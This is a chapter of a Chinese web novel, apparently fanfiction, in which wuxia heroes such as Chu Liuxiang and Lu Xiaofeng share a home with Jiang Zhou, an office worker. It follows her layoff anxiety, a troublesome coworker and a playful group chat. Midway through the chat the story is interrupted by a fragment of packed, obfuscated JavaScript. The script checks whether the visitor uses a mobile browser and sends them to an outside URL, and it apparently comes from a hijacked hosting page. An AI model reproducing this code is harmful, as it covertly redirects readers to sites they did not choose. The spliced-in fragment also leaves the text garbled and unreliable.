那边阿飞在兢兢业业进行现代的第一份谋生工作，江舟的一天也不清闲。


    上月的考核结果下来了。


    排名十五，在四十多人里处于中上游的位置。


    她不禁松了一口气，这样一来，应该不会被裁掉了。


    而且最近和江湖客这些高能量人群一起吃住同行，再加上到家就有饭吃，不用做家务，江舟的精神头也更好了。


    只觉精力较之前旺盛许多，学习效率更高，在单位做日常工作时也没有以前那种累一天浑身疼的感觉了。


    但是，这并不意味着她可以精神正常地度过每一个工作的白天。


    比如，她正在做着审核工作，领导还在催季度材料快些报上去。


    有一个同事就过来了，她是有名的混子，常常把活搞砸让其他人收拾烂摊子，还迟到早退，上着上着班就找不见人。


    就这她还跟领导请缨去做外勤工作。


    领导没听她的给她安排外勤，反而给了另外一个活，说以后你上班勤看着点消息，别动不动就消失。


    大家心知肚明是因为怕她借外勤为借口直接偷溜走。


    但是呢，她还是对手上那个新安排的活愤愤不平，觉得领导把狗屎活给她，过来找江舟抱怨。


    她开头没提这件事，只是问江舟她对这个活怎么看。


    江舟先前不知道她被安排了这个活，只随口说道：“还行吧，之前听说有新人在做这份工作。”


    同事立刻眼前一亮：“你觉得还行？那你快去跟领导说你想干这个活！”


    “我看把这个活给你就挺好。”


    江舟满头问号：“？？？”


    “拜托，我手上还有一堆活快干不完了，还有材料下午要报，你来替我干？”


    同事嘴一撇，“开个玩笑而已，你看你这不愿意的样子。”


    说完她就走了，过了一会江舟收到玩得好的其他小组同事消息，说刚刚那位大姐去他们那和小组长抱怨，江舟这个人嫌弃领导安排活太多。


    江舟：……


    不生气不生气，气出病来无人替。


    她气得几乎要把键盘敲出火星子来，幸好搭子又跟她说别计较，大家都知道那大姐什么样子，没人会信她。


    然后两人又开始讨论中午吃什么，把这件事岔了过去。


    其实那位说是“大姐”，其实年纪比江舟她们大不了几岁，只是她老摆出一副老大姐的样子，动不动就催婚年轻人。


    上次还在很多人面前大声问一个单身女同事：你肚子这么大是不是怀孕了啊？


    其实单身女同事只是最近胖了些。


    她皮笑肉不笑地扯出一个冷笑，回怼道：还没呢，这不等着你来投胎吗？


    “大姐”讪讪地走了，今天又来挑江舟这个软柿子捏。


    今天手头活比较多，江舟中午凑活着吃了个汉堡，下午又继续在那干时，“大姐”又给她打电话，神神秘秘地让江舟去她办公室一趟。


    说有事。


    江舟在心里烦了个白眼，但嘴上还是客气道：“我这边走不开，有事你就在电话里直接说。”


    她这才说：“好像裁员名单已经下来了，你要不打听打听？”


    江舟奇怪道：“我打听什么。”


    她遮遮掩掩地说：“反正我知道我没在裁员名单里面。你要不要打听随便你。”


    说完她就撂下了电话。


    江舟拿着电话听筒很是无语，但不得不承认，她隐隐有了些不祥的预感。


    心里开始七上八下，就好像上学时，成绩名次都出来了，其他同学都知道，只有自己不知道。


    而无论她怎么去问，别人都是一副同情的表情，却不明着告诉她。


    就好像高高在上地欣赏她那时的无助，也欣赏她在看到自己不及格的成绩后仿佛天塌了般的神情。


    当然，现在回头看，那些都是小事，算不得什么。


    也许以后老了，江舟也会笑看此时的自己，害，裁员算什么，同事们的笑话算什么，都是跟上学没带作业一样，鸡毛蒜皮。


    但是当下的迷惑与痛苦，都是实实在在的。


    江舟与玩得好的、消息比较灵通的搭子们打听消息，她们一直安慰她，说她上次考核结果很好，平时工作也很辛苦，不可能裁她的。


    江舟思来想去，还是不安心，索性下班前去直系领导办公室问裁员的事情。


    直系领导也很懵。


    他说：“没听说裁员名单出来啊。”接着又道，“没事的，你不用担心，领导问我要名单时，我没把你写进去。”


    这已经是明着在暗示江舟了。


    她松口气，谢过领导，准备回去自己办公室把手上活收收尾就下班。


    很好！工作保住了！


    晚上和阿飞一块买点好吃的回空间和大家一起吃。


    就在这时，她手机滴答一声，是一个新群聊把她拉进去的消息提醒。


    奇怪，什么群，不会又是什么突发的加班工作安排吧！


    江舟心脏突地一下，又定睛细看：相亲相爱一家人（6）


    家里长辈学会教程开始拉群了？


    楚留香（郁金香头像）：为便于互通讯息，特建此群。在下楚留香。（微笑）


    陆小凤（小黄鸡头像）：嚯，香帅你手脚够快的啊。


    陆小凤（小黄鸡头像）：我刚还想给你们一个个发消息呢，今晚都不用做饭了，我给大家带好康的。


    陆小凤（小黄鸡头像）：叉腰笑.jpg


    陆小凤（小黄鸡头像）：扔骰子.jpg（滴溜溜转一圈后停在三点）


    陆小凤（小黄鸡头像）：竟然还能在手机上边聊天边扔骰子！


    楚留香（郁金香头像）：扔骰子.jpg（六点）


    陆小凤（小黄鸡头像）：扔骰子.jpgX3（都是孤零零的一点）


    陆小凤（小黄鸡头像）：……手机出老千！


    他手速惊人，不一会就发了十几条消息，中间除了楚留香堪堪与他扔了个骰子，其他人都来不及与他发消息。


    ……也可能是不想发。


    就在这时，傅红雪慢吞吞地上线了。


    傅红雪（默认头像）：。


    叶开（一片绿叶头像）：（秒回）傅兄好！??


    陆小凤（小黄鸡头像）：……


    楚留香（郁金香头像）：傅兄弟好（微笑）（微笑）（微笑）


    江舟看着群里接二连三的消息，不自觉笑出声，停在走廊一旁开始打字。


    孤舟（雪花头像）：撒花.jpg


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230940|197134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >孤舟（雪花头像）：楚哥你不要再发微笑表情了啊啊啊


    孤舟（雪花头像）：这个表情很死亡的啊！


    楚留香（郁金香头像）：舟舟此话何意？（呲牙笑）


    孤舟（雪花头像）：……很难解释，总之就是说这个笑脸在我们这儿，一般不是真的在笑


    孤舟（雪花头像）：它意思是“我就静静看着你”，或者“你完了”，总之很恐怖的！楚哥你下次想笑，用这些（笑脸）（笑哭）（愉悦）


    楚留香（郁金花头像）：原是“笑里藏刀”之意，多谢舟舟（笑哭）


    孤舟（雪花头像）：……楚哥真棒！


    孤舟拍了拍陆小凤


    孤舟（雪花头像）：@陆小凤你今天出去了？带了什么好吃的？


    陆小凤（小黄鸡头像）：嘿嘿，秘密，不告诉你们。等着吃就行了！


    叶开（一片绿叶头像）：原来好康的是好吃的啊。


    叶开（一片绿叶头像）：@傅红雪不用做饭了你快从厨房里出来。


    陆小凤（小黄鸡头像）：十分钟过去了，叶开和傅红雪人呢？


    楚留香（郁金花头像）：……小叶又把傅兄弟惹毛了，两人在小院里打呢。


    楚留香（郁金花头像）：@孤舟舟舟，麻烦把阿飞兄弟也拉进来吧，我今天没见到他人，也没加到他好友。


    孤舟（雪花头像）：好的楚哥！


    孤舟（雪花头像）已邀请阿飞（默认头像）进入群聊


    江舟对楚留香肃然起敬。


    她给大家发手机时，完全忘记帮大家互加好友，只顾着申请完账号就结束了。


    所以今天楚留香是在空间里挨个把大家加了一遍又自己摸索着建了群聊。


    他太厉害了！


    主要连傅红雪都能拉进来，这人格魅力，不愧是盗帅。


    话说他们怎么学会的标点符号？古代应该只有句读，在断句处会有句号标注，只是除此以外，逗号、省略号等都是民国后逐步发展而来。


    不知是书籍还是短视频的功劳，这些江湖侠客们看起来一个比一个用的都规范。


    只不过…现在到底谁会在发消息时还在每一句话末尾用句号啊。


    而且就连傅红雪都发了个句号。


    江舟站在走廊一角，带着笑意抬起头。


    已快到下班时分，但隔着玻璃仍能看见大家都在电脑前全神贯注地办公。


    幽幽的电脑屏幕蓝光映在所有人的脸上，将鲜活而温暖的人类皮肤染成了冷硬的机械颜色。


    江舟笑意淡去，她忽然产生了一种割裂感。


    她的生命似乎被工作劈成两截，一截是活生生的自己，另一截是在现代机器里冰冷的螺丝钉。


    没了她，单位一样转。


    社会一样转。


    甚至她自己都不明白自己存在的意义。


    不过这玩意，还是交给哲学家和社会学家去思考吧。


    她无法聪明到看穿一切，那么，糊涂一点，日子才会过得好一点。


    江舟默然片刻，手机的震动把她从恍惚的抽离感中唤醒。


    阿飞（语音3''''）：已到你楼下


    阿飞（语音2''''）：一起回去


    江舟动动手指。


    孤舟：好（笑脸）